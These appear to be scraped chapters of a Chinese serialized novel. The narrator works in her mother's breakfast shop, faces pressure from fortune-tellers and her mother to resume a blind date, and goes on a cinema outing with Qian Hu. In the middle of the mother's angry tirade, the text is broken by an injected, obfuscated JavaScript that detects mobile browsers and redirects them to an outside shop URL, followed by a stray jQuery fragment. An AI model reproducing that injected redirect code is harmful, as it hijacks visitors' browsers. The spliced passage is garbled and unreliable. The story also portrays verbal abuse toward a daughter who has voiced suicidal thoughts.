妈妈也有些上火,想说点什么,被同行的伯伯拉住。 “那就拜托您了,”妈妈和五婆婆说。 “出去的时候,记得找门口的爹爹拿纸钱!怎么个烧法,他会和你说的!”五婆婆提醒道。 妈妈想问清楚,“我等下告诉你,”同行的伯伯再次拦住她。 她也有话要和五婆婆说:“我家儿媳妇……” “这回出去蛮顺利,我们刚到家,就过来把礼物拿给你,”那人旁若无人地和五婆婆聊起。 “我再在微信上和您说……”同行的人作出让步。 生意还挺好,我在心里感慨。 出去前,我扫了眼屋内的人,原来是一男一女。男的身着短款白色衬衣和黑色西裤坐在门边的凳子上,并未动身,像是刚从办公室出来。 门口的爹爹给装了两个黑色塑料袋的纸钱,“一个袋子在入口烧,一个袋子在出口烧啊!” 回到车上,妈妈率先开口:“五婆婆她……有什么说法?”中间停顿了一下,像是找不到合适的措辞。 “她以前被黄大仙捆马过,好几年都神智不清醒。” “他们村子里的人都欺负她呐,公公婆婆也说要把她给赶出去。” “她老公是个老实人,硬是不点头,在外面租了个单间给五婆婆住。后来她恢复意识,赚了钱,除了她老公和儿子,哪个亲人都不管。” “哦,那些人也是该。” 上回从乐亭寺归家,路上心情不错。虽是悬而未决之卦,论的却是前路,而非指出当前的行为不明智。乐亭寺本就是上庸的景点之一,入口处的水池流的是活水,池子里除了锦鲤,还有小乌龟在那扒水,很是生动活泼。 可这回,平添些许不痛快。 卜卦占筮属于占卜学,用来趋吉避凶求平安,遇事不决可以帮助增长信心。五行八字为命理学,看得更为长远,人生不顺时,可以当作定心丸,纵使愁苦无法消解,亦可求得心安。 我虽然没有志向,却自以为知命;即使把自己给玩折了,无怨无悔亦无可厚非。 我已厌倦从自己身上找原因,不论偏私与否,我只想听好话。问题总是难以解决,但我可以让自己好受几分。 五婆婆一不说我聪明,拥有远大前程;二不说我命好,遇事皆可逢凶化吉。说来说去,除了卖关子、顺水推舟,没一句我爱听的,我一点也不信她。我尊儒家师长,授我才学,规训品德;我敬佛家众生,信因果而不妄为;我守道家本心,乱我心者,退而不留。念起来颇为上口,更显得有道理。很多老话,不就是这样传下来的嘛!总之,哪个都和她不沾边。 这一下子妈妈就花了一千块钱,我只觉得肉痛。不计成本,得在店里忙活一周才能赚回来。想到这里,我感觉更糟糕了。 “你屋里陈明在做什么呀?”妈妈和那人在后座聊天。 “他现在和学校合作,供应实验器材。” “这么说,他是搞技术的?”妈妈强行理解。 “算是吧。” “好姐姐,你帮我问一下,你屋里陈明还招不招人?” “我姑娘学历还可以,帮我给她找个事做唦!我看她一时半会难得考上。” “唉,这个事不太行。我屋里陈明跟我打过招呼,他说:‘妈妈你在外面不要答应帮人介绍工作,我公司就这么大,人已经够了。你介绍来的,都是熟人,很多事情不好安排,我又不能拒绝你。你不要让我难做。’” “他都说到这份上了,我也不能和他添麻烦呐!” 见状,妈妈只得作罢。 把同行的伯伯送回家,妈妈直接去到店里,我则把东西拿回楼上。 47. 2025年7月,第27周 47 [2025年7月,第27周] 下午的时候,妈妈只是人在店里,并不像之前那样在门口摆摊。 我不明白为何台阶会对生意有影响,妈妈考虑到来店的老年人偏多,还给装了扶手,在台阶上铺着防滑垫,可就是少有人到店。隔壁的卤菜摆在推车上,生意好得不得了。 “你把黑板拿下去靠在小阿姨的推车上,”妈妈吩咐道。 我提着黑板走下台阶,上面写着“炒粉、炒面”。妈妈许是想借卤菜店的客流招揽生意。 “小阿姨,又来给你添麻烦呀!” “这有什么,客人买我的卤菜,在你们店里坐着吃,正好一举两得!” “没事,就立在前面。”她乐得帮忙。 “有个事,小阿姨得和你说哦!”她再次开口道。 “和阿姨聊天要说普通话,知不知道?阿姨听得懂方言,但你还是要尊重我是个外地人!”她振振有词地说道。 去到杉湖,我只在家中说榕潭的方言,学校里只个别老师例外。没想到在榕潭,反而被人如此要求。虽然由我来说不怎么具备说服力,可榕潭的方言在我看来,不仅容易听得清,还特别好听。我知她说的有几分道理,可还是觉得僭越。 我吊着嘴角,笑着点点头。 此外,有三个客人每天固定五点到店,都是工厂的打工人。他们并不照着菜单点,而是要吃挂面。妈妈愿意伺候,下面的时候加点青菜,再打上几个蛋,他们就觉得不错。次数多了,还自己剥几粒蒜,喝点小酒。 另一桌的客人离开后,我把桌子上的一次性碗筷扔到垃圾桶。不知为何,他们聊得兴起,却在我收拾完之后,起身结账。 他们走后,妈妈过来指责我:“别人吃得好好的,要你发勤快收拾桌子?” 我有些无辜,客人一波波地到店,来人再收拾,不就晚了吗?我自觉不会让人有想法呀! “成天垮着个脸,像哪个欠了你的,笑都不会!” 我有些明白她的意思了。我确实笑得不多,可要说我垮着个脸,属实有些过了。记事以前,我嘴角就有疤,拇指盖那么大,说是缝了十多针。除开这个原因,我的嘴角弧度天然向下,爸爸也是这样,可他俩会一起喊我“李扁嘴”。为着这个,小时候,妈妈让我无事也保持微笑。 她亦嫌我嘴型不好看,还带我去医院剪了唇系带。 我不作声,由着她说我,拿起扫帚扫地。 她却仍不放过我:“哪有像你这样扫地的咧!你还钻到桌子底下去了的!” “凳子旁边有烟灰!看不到哇!把凳子拖出来再扫唦!” 明明我在做事,她却每一步都看不惯。 “放着、放着,你过来,我和你说个事。” 我把地上的垃圾扫到撮箕,倒进垃圾桶,将扫帚和撮箕归位。去到隔壁洗完手,站到她面前。 “今天算命的那个人说的话,你有没有听进去?”她问我。 我不明所以。 “她说你和钱鹄有缘分呐!不止她一个人这么说,我找的那个师父也说你们两个的八字是匹配的。”她抿着嘴巴和我说。 “我现在只想好好准备考试。” “又没说不让你考!你考你的,跟这个不相干!” “又不是要你做事,相亲咩,一起出去吃个饭、玩一下,不好哇!像是要了你的命一样!要是哪个约我出去嘿!真是身在福中不知福!” “问你话,回答!”她见我不作声,硬要我作出答复。 “不去。”我已经翻篇了。 她回到柜台后面,一边收拾,一边发脾气。 “我的钱就这样白花了,是吧?钱很容易赚,是吧?” “你要钱我就给你,给你揩屁股,一回又一回!” “是要你去相亲咩,又不是要你去死!非要跟人对着干!” “要钱的时候就喊妈,没得事了就只顾自己!总是这么自私自利,跟你爸爸一个样,眼里谁哪个都没得!” “你晓得说你身体不舒服,要人关心你,哪个关心我咧?” “你说你想死,我还想死咧!我去跟哪个说咧!你要死就去死,不要在这里害人!” 那句“要死就去死”,不管听几次,都好似万箭穿心。可万箭穿心人会死,她这般说,人却只能生受。 她越说越生气,开始摔东西。 “我每天天没亮就起来,还要蒸糯米,到了店就跟个陀螺一样转个不停,我不累吗?我的身体就舒服吗?我还不是在吃药!” “哦,你受不了了,要死要活,我不是人,我就受得住,我该的!我还不是每天强撑着在做!我也想死咧!我去跟哪个说咧?” “每天装几碗面,盛几杯豆浆,炸几个面窝,就算做事了?钱这好赚!面不要人订?豆浆不要人煮?米浆不要人打?” “店里的水每天哪个在烧啊?你来的时候别个都跟你把东西准备好了,心里没得数哇!” “切个豆皮都切不明白,还大学生咧!从来听不进别人的话,教你怎么做,说得清清楚楚,非要按自己的来,搞得人火大!” “哦,下午过来买个葱、剥个蒜就忙完了?东西哪个洗的咧?饭还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301322|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要送到你嘴巴里头去你才乐意!又没有眼力见,别人还在吃,就开始在哪里收拾!” “你勤快给谁看?捏鼻子哄眼睛!” “我每天忙到八、九点才回去,你怕不都睡了吧?” “我回去还有一摞事要做,你当屋里有田螺姑娘,嘴巴一张就有人跟你把事做好!” “喂狗、遛狗,洗衣服,泡豆子,每天都搞到十一二点钟,人刚躺下就要起来!” “我不辛苦?我是为了我自己?” “人要有良心晓不晓得!只顾自己,没得好果子吃的!你爸爸就是一个现成的例子!” 我已经被她说木了,无法作出反应。我离不开店,等下还要跟她一起烧纸钱,只能在那里一句句地受着。 她的每一句话听上去都有道理,若不是我欠了网贷,她要替我还钱,她就不用开这个早点铺;店里的事,本就是她做得多,我只用打下手;她远远地比我辛苦;如果不是她在背后支撑,我无法安心备考。虽然如此,生受着她的言语,并没有减轻半分难受。 我只觉得愧疚,我这般无用,让她如此辛苦。 隔壁的小阿姨听到动静,还专门跑到门口看了一眼。 终于,妈妈洗刷完设备,把水管放下,排出污水,又把垃圾扔到不远处的垃圾收集点,这才锁上门。 她把我放在楼下,我上去拿纸钱。在车上的时候,她就和那个伯伯讨论明白,在巷口和巷尾各烧一袋。 她在巷口点燃纸钱,便去往巷尾。纸钱不多,若干个元宝和几沓黄纸,一下子就烧软变黑膨胀,可最外面的猩红火苗,久久不灭。她等得不耐,喊我过去,我却放不下心,执意等火彻底熄灭。 去到巷尾,她一把夺过塑料袋,点燃后,驱车离开。 我站在路边看火舌将黄纸吞噬,纸张在热浪中逐渐失去挺括,焦黑色缓慢晕染开来,最终,化为片片飞灰,随风轻扬。 七月的夜晚,偶有热风拂背,心里却凉飕飕地;虽还没有到鬼节,我却倍感凄惨。 回到家中,我已没有力气。 我撑到了最后,无论是在店里,还是在巷子里。 我此时已无知觉,没有特别累,也没有特别困,怎样都可。 我给妈妈发消息:“我明天不过来了。” 她没有回复我,我也没有等她的回复。 脑袋中空空无一物,我下楼去到便利店,买了一袋枸杞,给自己泡了一杯。顺着习惯把睡前准备完成,脑海中没有半点想法。 我躺在床上,闭上眼睛,能感觉到街边投射在墙上的影子在晃动,渐渐入睡。 48. 2025年7月,第27周 48 [2025年7月,第27周] 三点钟醒来,纵使心脏砰砰作响,我却松了一口气。不问缘由,不拘小节,睡眠转好即为安。 四点半,我照常起床。 “每天早上出门前,把符灰抹在衣角,知不知道?” 这句话在耳边响起。我犹豫了片刻,觉得无妨,依言照做。 去到店里,大舅妈在我每天的站位上分装碗面。让她替我早起,我十分过意不去。 “我来吧,”说着,接过她手里的活。 她也不与我拉扯,看着我笑了笑,和妈妈打招呼:“那我先回去啊!有事再叫我。” “好吔!” 柜台后有一个圆盘,我一向把碗码作一排,刚好放得下四个。大舅妈却是把最下一排并得带点弧度,这样,一排可容纳五个。我照着她的来,比平常多摞五碗。 今天和之前并没有不同,店里缺不了人,妈妈稍作收敛,一早上都没有念叨我。 忙完,我坐在长凳上背靠着墙,两脚亦搭在凳子上歇息。 妈妈正在扫地,手机响起,她接通电话,没说几句却要挂断。 “是哪个啊?”我问道。 “你又不认得。”她含糊过去。 “你还找别人看过八字?” 她看了我一眼,说道:“我先前不是和姑奶奶去蕲水吗?还是那个师父。他现在从寺庙出来了,不再帮别人看这些。不过,我和他的交情在那里,他就说不收钱帮我看看。” “他还收养了一个女孩呐,那个姑娘也成家有了小孩。他一个出家人,也算享到了天伦之乐。” “他怎么说?” “说你们有缘呗!还能怎么说。” “给我看一下。”她把手机解锁,找到聊天记录,递给我。 “谢谢你呀!” “阿弥陀佛,祝你平安喜乐。”这是之前的对话。 “这两个孩子的八字对得上,可以谈。” “你女儿十月份要交好运,说不定到时候有喜事发生。” “谢谢师父!” “福生无量,祝你美满幸福。” 对话的时间就在这周。下面还跟着一条转账信息,居然有两千,对方还收了款! 我神色如常地点开通话应用,最新一条来电记录的名字是“颜盐”。切换回聊天界面,我把手机递给妈妈。 “他不是说不要钱吗?你还给他转两千?” 这么一算,她一共扔了三千块到水里,连声响都听不到。 “别人那是客气。” 这么些年,也不知道妈妈散了多少家财,用以撑饱他人荷包。 本以为那个和尚多少有点真本事,谁知道言之无物,一味奉承。真是罪过。 考研临近初试,自己却毫无准备,没有比那时更清晰地自觉,眼前的山坡不高,盖因相去甚远。 我知道自己处在低谷期,一九年就已了然。可这低谷期有多长,一年又一年,我以为快要结束,它却一再延长。 低谷期需要蛰伏、积攒力量;我却不停折腾、调整方向,最好下一刻就能崛起。逆势而行,我乐得疲惫。我只想着赶紧爬上去,其他的任何,包括个人感受,都不在我的考虑范围内。只要我能够想到,我就拼尽全力去做到。 去到泽铯,我以为曙光将至;可心里亦有声音告诫我,黎明前的夜最黑。看到“关关难过关关过,前路漫漫亦灿灿”,我有几分动容,并把这句话写在技术博客首页。 可现在,一切又回到未定。 跌入谷底,人脑海中除去尽快回到正常生活这个念头,不宜再有其他,更别谈做无关决定。旁门左道的法子不可取,因其本身并不妥善。那些把谷底当作常态、甚至安营扎寨的,无一不深陷腹地,再难有出头之日。人背负得越多,越难以行事,所以路程越远,越得轻装上阵。 可我已然举步维艰。日子难得过,我还要备考。妈妈现在这个样子,太过狰狞,让人难以安生。 现在的处境,不算太难。无非是当初拒绝得太过果断,让妈妈感到违逆,因此反扑。现下她想把浪翻起来,我可以给她把挡板撤掉。兵来将挡,水来土掩,保不了一世,那就力争一时。 上学时,无数个年头在后,那才叫作难熬。顺利完成学业,远非看上去那般轻松。今年若是考不上,来年才会难熬。现在,乾坤未定。 我能忍,比之更过分的事情,我都长久地忍了下来。局势仍可控,不过这次,非我自愿入局。 之前刷到过《机器人之梦》的剪辑。小狗和机器人可以心意相通,因为变故分开后,双方接受现实,又和其他人建立了亲密关系。 两个人在一起太难了,时间、地点、人,就像按下葫芦浮起瓢一样,顾得了这头,却难顾另一头。 其中,襄王有意、神女无心拦下大部分人,有缘无份对余下的再作筛选。 我原以为相爱可抵万难。可现实当头,把自己人生经营得风生水起的,有几人?到这一步,为什么不选择强强联手更上一层楼,偏偏要将唾手可得的美人与江山拱手相让,去扶持尚在微末的意中人,让她一步步走到可以和自己并肩的程度? 纵使一个人心甘情愿为另一人放弃这些,另一个人究竟能带来什么,还不好说。双拳难敌四手,不要高估人心,也不要小看现实。终成怨侣,倒不如相忘于江湖,做个俗人,各自安好。 我可以对身边人提出极高的要求,层层加码就行;可外在条件再充分,本心不足以让人信赖,我就不会踏出第一步。 我见识过拜高踩低,亦了然重此抑彼;血缘不会保证什么,谈判桌上为自己争取尽可能多的利益,我连第一步——替自己着想——都不曾迈出。和亲人断绝关系这个念头出现之前,我对身边人的要求只有两点,孝顺和善良。前者已然失去提出要求的资格,甚至还需要他人包容谅解;至于后者,我也觉得天真,却无法违背,因为只有善良的人,才会好好待我。 我已说不出“善良”二字,可这两个字在我心中的分量,被掩埋,却不曾减轻。 善良的人不会伤害我,不会在我一无所有时欺侮于我;我心里仍有个小孩,我没有好好待她,也不知怎样才算对她最好;可和善良的人在一起,才可让她感受到安心,这一点从来没有改变过。 钱鹄的缺点不明显,优点却无可比拟。我不曾回忆的、靠他人善意过活的那些年,他是为数不多不仅不曾欺凌于我,甚至流露出好心的人们之一。 那些年的弱小无助在灵魂上留下烙印,他人给予的点滴温暖,让我终生受益。 至于外在条件,时至今日,我难以要求他人,却本自具足。 我不再是那个需要翦除前路所有风险的小孩。我已成年,事业方向已确定,只待再次扬帆起航。男强女弱的爱情故事让我出戏,工作中我不输男同事,即使向上找到一个各方面条件都无可挑剔的人,甘居下位,亦非我的作风。向下择偶,于我是一个不曾涉及的领域,可承担一个家庭的责任,不在于做不做得到,而在于愿不愿意。 喜欢是讲不了道理的事情;出于喜欢,我可以做很多事。 就像颜值不佳的人,相处的时间久了,也就习惯了;感情是可以培养的,一起走过的岁月足够长,队友也好,亲人也罢,知心人已是难得。 “有花堪折直须折,莫待无花空折枝”,这句已让人心痛; “休教良姻佳期路,等到天寒失雁群”,之前求的这卦,已然应验。 如果顺利考上公务员,人生再难掀起波浪;现在不过是把之后的事情提前,也没什么不妥。 于是,我死出了。我和妈妈开口道:“钱鹄他爸爸是做什么的?” “嗯……”妈妈犹豫了一下。 我也不急,等着她回答。 “在城管开垃圾清运车。” 她见我没说话,继续补充:“他爸爸屋里蛮穷,人也没什么文化。他大伯死得早,他屋里爷爷硬是逼他大娘嫁给了他叔叔。” “这个事成了?” 我的天呐!“兄死叔就嫂,姐死妹填房”,这种事,我只在电视上看过! “那能怎么办?死了老公的,要么守寡,要么改嫁,还能有第三种出路?嫁给他叔叔,好歹还能把自己孩子养大。” 我尚在震惊中。 妈妈又补了一句:“所以呀,他爸爸属于上门,结了婚就一直住在他家家屋里。他们家的事都是颜盐说了算。” “你也不用太当回事,晓得就行了。”她轻描淡写地想要一笔带过。 “你怎么这样清楚?” “我没和你说吗?他爷爷就住在我后面那排房子,你每回过来,都打别人门口过,不晓得吧?” 家里穷点,也不是特别大的问题,那个年代,又有几个过得好?可是,他爷爷这般专制,加之尤在的糟粕,让人想要避而远之。可妈妈一副见怪不怪的样子,倒显得我小题大做。 许是我的沉默让她产生了警觉,她转换话题:“颜盐上回带口罩你没看见,她是个龅牙齿,丑死了的!” 我瞥了她一眼,“长得丑又怎样?她自己的家庭,经营得不比你好?” 她被我怼得噤了声。 “他们家知不知道我养狗?”< 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“钱鹄他爸妈每天都去杉湖给他做饭,这很有点说不过去。” 他家把他惯事得太过了。 “要是真到成家那一步,以后屋里的事,不都得我做?” “哎哟,他可以学唦!而且,还有他妈妈咧,包管都跟你做了!” “颜盐这个人,特别勤快,莫说杉湖的那个房子,榕潭房子里的家务还不都是她做。她这个人呐,完全闲不下来,就喜欢把家里收拾得干干净净的!” “你们这个事要是能成,她不晓得会多开心!” “她们家姊妹五个,你嫁到她们家,一下子多出好几个姨疼你,不好哇!” “他外婆,生的全是姑娘?”这就有点难评了。 “那个年代,是这样的,哪个不希望自己屋里有个儿子咧?没得关系的,他最小的那个姨,还出国了咧!” 这个小姨的事,我倒是有所耳闻。妈妈提起过,她考护士证那会,多亏了这个人分享学习资料。 “钱鹄他妈是老大?”我问道。 “嗯!” “比最小的大多少?”我继续问。 “最小的那个出生就蛮晚了,跟老四都隔着五、六岁!” 看来,颜盐的父母是铁了心想要儿子。 小鱼伯伯接着说:“而且,你们成家后,你妈妈难道不会去你的小家给你帮忙?为人父母的,都是这样!” “她不得的,她现在都不会。屋里的事向来都是我做。” “个苕伢,结了婚就不一样了。”她嗔道。 “你会去给帮陈琪姐姐做卫生吗?” “嗯……你陈琪姐姐不让我去。” “为什么?” “她回榕潭都很少,每次坐不了一会,就又回去了。” “陈琪姐姐是怎么认得她老公的?” “她还不是听我们的介绍去相亲。不过,她老公是她自己找的,和她是高中同学。工作之后,两个人经常在网上聊天,后来就在一起了。” “她老公还不是蛮普通的一个人,长得不高,人也不帅气,但是蛮老实,工作也稳定。两个人呐,只要有商有量,日子就能过得下去。” “陈琪姐姐不生小孩,她老公同意呀?” “她老公都听她的。” “你也同意?” “哎哟,以前还不是想抱外孙。她现在年纪也大了,再怀也不可能了,我也就看开了。” 她比我想象中的要通情达理。虽然妈妈和小鱼伯伯都是暴脾气,婚姻也都和幸福相去甚远,可母女关系这块,陈琪姐姐比我要幸运得多。她也是很要强的一个人,现在能收获幸福,即使未亲眼所见,我仍为她感到开心。 “唉。” “我要是愿意继续和钱鹄接触,他那边会同意吗?”我终于松口。 “那哪有不愿意的咧?之前是你把话说得不留一点转圜的余地,他们家再有心,也只能尊重你的意见。” “你现在点头同意接着接触,他们家开心还来不及呢!” “那你帮我去问一下?” “你们年轻伢们,自己把话说开就行了。” 她乐见其成,于我这边,却不主动揽活,反作推脱状。 “行吧。” “是的,你要我去帮你说也没有问题。但主要还是你们两个把话说清楚。” “好,那我回店里去了。” “嗯。” 49. 2025年7月,第27周 49 [2025年7月,第27周] 十点钟左右,我给钱鹄发去消息:“我想了想,我们还是再了解一下吧。” 他没回复我,我也不在意。 “我先回去的。” “好!”妈妈肉眼可见地开心起来。 半个小时后,钱鹄发来消息:“我才起来。” “我也是这么想的。本来打算周末联系你的。” “你今天有空吗?要不要出来见一面?” “可以。” “那我们约什么时间?” 我还没吃午饭。人也很困。 “两点吧。” “好,那我到时候在你家楼下等你。” 他发了个“期待”的表情包。 炒了个青菜,用过午饭,我稍微睡了一会。尿频、中途醒来、醒来后焦虑,我已开始习惯,无可奈何,那就只能顺其自然。我从床上起来,嘴里叼着一瓶生脉饮,坐到书桌前。 大学看过一部动漫,叫作《元气囝仔》。由于很喜爱奈瑠,还将她用作头像。在别处看到他人亦如此,还会生出几分好感。 去到杉湖,再不由妈妈带去理发店,大多数时间,我还是选择短发。打小我就是个假小子,能玩爱闹,横冲直撞,心无城府,有勇无谋;亦不觉得有什么不妥,天性就喜欢张扬外放、轻松愉快。 现在也是夏天,空调房里有几分安逸,想起这部番,我再次点开。倒不是理解不了其中的趣味,也不觉得幼稚,人却好似石膏像,有着生动的、隔着纱的纹理,却不具备任何知觉。 半田老师爬上大坝,镜头给到夕阳,背景音乐的音阶拾级而上,欲营造豁然开朗的氛围,有人心境转为开阔,我却如同死物,残留不下半分生动。了然意图,心中却激不起半分波澜。 无感,我点击退出,开始看书。 两点,钱鹄发来消息,说到了楼下。日头正毒,身处室外,不得不眯起眼睛,他仍穿着一身黑,却站在院门口等我。 视线交汇,他面上堆起笑容。 我垂下视线,抿起了嘴角。上车后,看到座位中间放着两瓶矿泉水。我望向他,这一次,他指甲的游离线有二、三毫米长。 “我们去哪里?不然,还是去英特?” “可以。”我表示赞同。 行车途中,钱鹄再次放歌,中文歌偏多,偶尔夹杂着几首韩文歌曲。 “你平时听些什么歌?”他问道。 “不怎么听歌。” “你喜欢听韩文歌吗?”他再次开口。 “就那样。” 他并没有把歌切来切去的习惯。唯独一首,前奏循环完两遍,他才切到下一首。上一次,他也切过一回歌,碰巧,正是这一首。如果不喜,取消收藏就行,可他没有这么做。 这是一首R&B,前奏颇有特色,用的低频延音,电子音的颗粒感较强。由于前奏有些抓耳,上次听过,在D站刷到时,我特意搜了一下歌名。名字也起得很有特色,叫《第57次取消发送》。这首歌的前奏并不长,旋律循环两遍后,下一句就是歌词。一次是巧合,两次就显得刻意了。想必,这是钱鹄心中一段细腻、不想被外人触碰的私密。 不过,这和他一直以来的作风出入较大。看来,人都是会变的。 沿途经过工厂,烈日之下,偌大方型建筑之间,严丝合缝得不见半道阴影。红绿灯前,他并未等待,而是切入了侧边的小道。 “你爸爸教你的?” “嗯,看他走过一次。” 乡下的电子眼基本都是摆设,多的是这样开车的人。 我靠在座椅上,卡通护枕不偏不倚地托起了脖颈。 “你平时在家做什么?”他尝试找话题。 “现在不是在备考嘛!” “嗯,在家休息也不错。” “你管早上四点半起来、干到八、九点回家,叫休息?来来来,明天你也去‘休息’一下。” “不了、不了。”他讪笑道。 “你呢?平时下班干嘛?”我问道。 “打游戏、刷短视频,有时候会在家健身。” “你追番吗?《排球少年》这类的。”我继续问道。 “我不看热血番。” 真是意想不到的答案。 “你打篮球吗?或者,踢足球?”我仍不死心。 “我不玩这些,总归要流一身汗。不过,高中的时候,我经常和同学在体育课打羽毛球。” 作为一个男生,在我的认知里,他有些小众。 “你知道《鬼灭之刃》吗?”钱鹄问我。 索尼之前和这部动漫有过联动。上家公司的一个同事对这部番的分镜大为赞赏,说是打斗画面尤为精彩。 “嗯,知道一点。” “我特别喜欢里面的童磨。”他主动提及。 现在的一些作品,反派人物刻画得比主角还要吸引人,意想不到的人气爆棚。 “哦。” “工作后,大家都没有什么爱好了。不过小时候在村子里,都是我带别的小孩玩,吊龙虾什么的。” 好刻意地标榜自己,无非是他年长一些。 “那天在你家门口听到狗子的声音了,蛮大一只吧?”他问道。 “嗯。” “公的还是母的?” “是个女孩子。” “我以前也想养宠物,不过,我喜欢猫。有一回我没和家里说就抱了一只小猫回去,把我妈妈吓了一跳。她蛮怕这些小动物,完全接受不了。” “那怎么办?” “还能怎么办!她连家门都不敢进,都不去杉湖了。我只能把小猫退回去。” 这事要能成,颜盐怕不是进不去她儿子的屋。 去到商场附近,钱鹄再次将车驶入室内停车场。他跟着前车去到拐角处,一辆SUV正好出来。位置靠里,车头容易进,可出来的时候就只能倒车了。 他并不在意,几次调整车身后,停了进去。经过车头时,特意拿出手机拍下车位的编号。 “上次找了半天,这回一定要记下。”他和我解释道。 周六下午,商场哪哪都是人。运营上未必舍不得交电费,可人这么多,顶部又采用透光玻璃,温度难免偏高。 “要不要喝点什么?我同事给我推荐了一家水果茶饮店。” “好哇。” 他把手机递给我,看着我操作。我选了一杯鲜榨果汁。 “你不喝茶吗?” “这个时间摄入咖啡因,会影响晚上睡眠。” “啊,还有这种说法呀!我平时在办公室喝茶,一泡就是一大杯。” “看个人体质吧。” “我办公室有个人,特别讲究养生。他的柜子里,全部都是西洋参、枸杞、决明子这种。” “还有个女同事,每天一到单位,就开始煮花草茶。有一回她煮银耳汤,还分给了办公室的人喝。” “哦。” “你之前上班的时候,喝奶茶多吗?”他问道。 “还行吧。” “我以为你会很喜欢呢!不都说女孩子喜欢喝奶茶嘛!而且,我之前还在初中对面的奶茶店看到过你。你是在店里帮忙吗?” 那应该是小五的时候。我见奶茶店的雪克杯很特别,一个周末的下午,便和另一个同学自告奋勇去店里帮忙。 “嗯。” 所以,他那天有看到我?我觑看了他一眼。 “我看你在忙,就没有和你打招呼。”他略带心虚地解释道。 “你等会想看哪场电影?”他问道。 我刷了下豆瓣,毫无疑问地说:“侏罗纪吧。” 主角居然是寡姐。钱鹄直接下单,我发了个红包,他却没有收。 “你把红包收一下。”我提醒道。 “没事。”他说。 “你要是不收,下回我就不和你出来了。” “不要嘛!”他竟然撒起了娇。 这也不是第一次有男孩子对我撒娇。初中当值日生,抓包到男生讲话,对方突然变脸,满是真诚地附和我,让人忍俊不禁。 可钱鹄的做派,这种不自觉、非刻意的扭捏做派,让我很有些不适。我闭嘴不言,不欲继续和他拉扯。 他去前面拿饮品,却要求店员打包。我习惯拿在手上,却也不好说什么。 “你的包好小哇,里面能装什么?” 我这次背的仍是赫歇尔的手机包。吉伊卡哇的娃娃不耐脏,我便坠了一个机打的三小只彩色牛皮挂件。“装得下手机就行。” “哦。” 离电影开始还有一段时间,我提议去隔壁的宜家逛逛。入口处支有冰淇淋和肉串的小摊,我有些兴趣。 “你想吃吗?”他问我。 我摇了摇头,往里走去。 在泽铯工作的周末,我很少去商场,有想看的电影,也会去复兴村那边。工作后,在首都第一次逛宜家,对于那时的我,一切都很新鲜。同行的同事大力推荐热狗,酱料加多加少全由自己说了算,让我说不出地喜爱。 回到上庸,齐安区的英特还未大热,和现在相比,客流量远远不及。可那时的品牌覆盖面更广,其中,我记得的就有凌美。 “你喜欢逛宜家呀!”他开口说道。 “还行。”我并未停留,而是随着人流往前走。 他也没流露出兴趣,直到经过床上用品专区。 “你说这种枕头睡起来感觉如何?”他驻足在一款分区的护颈枕前。 “睡觉的时候,哪管得了侧睡枕哪块、仰睡枕哪块!” “也是。” “你颈椎不好?”我问道。 “还行吧。我以前买过颈椎枕,花了好几百呢!不过,睡了一段时间,觉得没什么用。我现在睡觉都不用枕头。” 枕头过高也不合适,可不用枕头,“脖子没有支撑不会难受吗?”我问道。 “习惯了就还好。” 路过办公家具区,他径直坐上了电脑椅,转了好几个圈。由于是特价,黄色的海报上用记号笔大大地写着价格。 “你说这种椅子卖到六七百,凭的是什么?”他开口说道。 “我家里也有一个,不过有头枕。我平时吃完饭,就在椅子上小寐,还挺舒服的。” “那把椅子都没花钱,城管办公楼装修,之前的桌子椅子就都不要了,我爸见状,就搬回来了几个。用了没多长时间,底盘就和脚架断开了,我爸找了个电焊师傅,还给修好了。” “就是再转不动了。”他一脸可惜。 去到一楼,我和他提起:“他们家的热狗,味道还不错。” “是什么样的?” “面包夹着水煮的香肠,撒上一些炸过的洋葱碎,里面还有几片酸黄瓜。” “咦,我不喜欢吃这种。” “你要吃吗?”他问我。 我再次摇了摇头。 小时候,爸妈会去楼下的音像店租碟片回家看,一家三口挤在一个被窝,是这个家为数不多的温馨时刻。租《侏罗纪公园》那次,许是觉得少儿不宜,刚放了开头,他们便哄我去睡觉。很长一段时间,我对《侏罗纪公园》的印象,停留在封面霸王龙的剪影。 我不喜惊悚片,直到《侏罗纪世界2》上映,才把老片翻出来看。 杰夫·高布伦扮演的马尔科姆在电影中有一句非常出名的台词:“生命会找到出路。”影片后半段,山姆·尼尔饰演的格兰特在森林中发现了破壳的恐龙蛋,证实即使只有雌性,由于与两栖类的DNA进行混合,恐龙也可以繁衍,此情此景,印证着“生命找到了出路。” 杰夫·高布伦还客串过《老友记》,和乔伊搭戏。荧幕上的各种机缘巧合与意外重逢,总能让我在看剧时感到惊喜和亲切。 落座后,钱鹄把饮料递给我,电影刚好开始。 《侏罗纪世界1》中就有追求暴虐的D-Rex掠食者恐龙,到了第四部,开头即是重磅——代号“畸变暴龙”的六肢畸形霸王龙。 论惊悚,当年看《普罗米修斯》,我也只是有些后怕。电影开头,明明隔离门两侧各有一种可能,一方被吞食,一方亲眼目睹,自己却是同时代入双方,受到同事葬身畸王龙之口、自己无法逃离的双重夹击。心脏被狠狠揪住,恐惧随之蔓延全身。 明明身处荧幕外,却好似下到地狱。镜头一转,置身车水马龙中,嘈杂的背景声响起,还未从恐惧中抽离,却被渲染了由停滞不前的车流带来的烦躁,整个人已有些难受。 我调整了坐姿,扭了下脖颈。 “脖子不舒服吗?”他问我。 “还好。” 鲁伯特·弗兰德甫一出场,我就认出他是《傲慢与偏见》零五版的军官。寡姐耳朵上的饰品超多,恰到好处地让人意识到她有多酷。 一位女星在这类影片扛把子,我只能说,寡姐好样的。 当马赫沙拉·阿里出现在荧幕上,我和钱鹄搭话:“你看过《绿皮书》没有?” “那是什么?”他回我。 “一部得过奥斯卡奖的影片。”我解释道。 “讲的啥?”他追问道。 “重视家庭的意大利人如何交朋友。” “哦。” 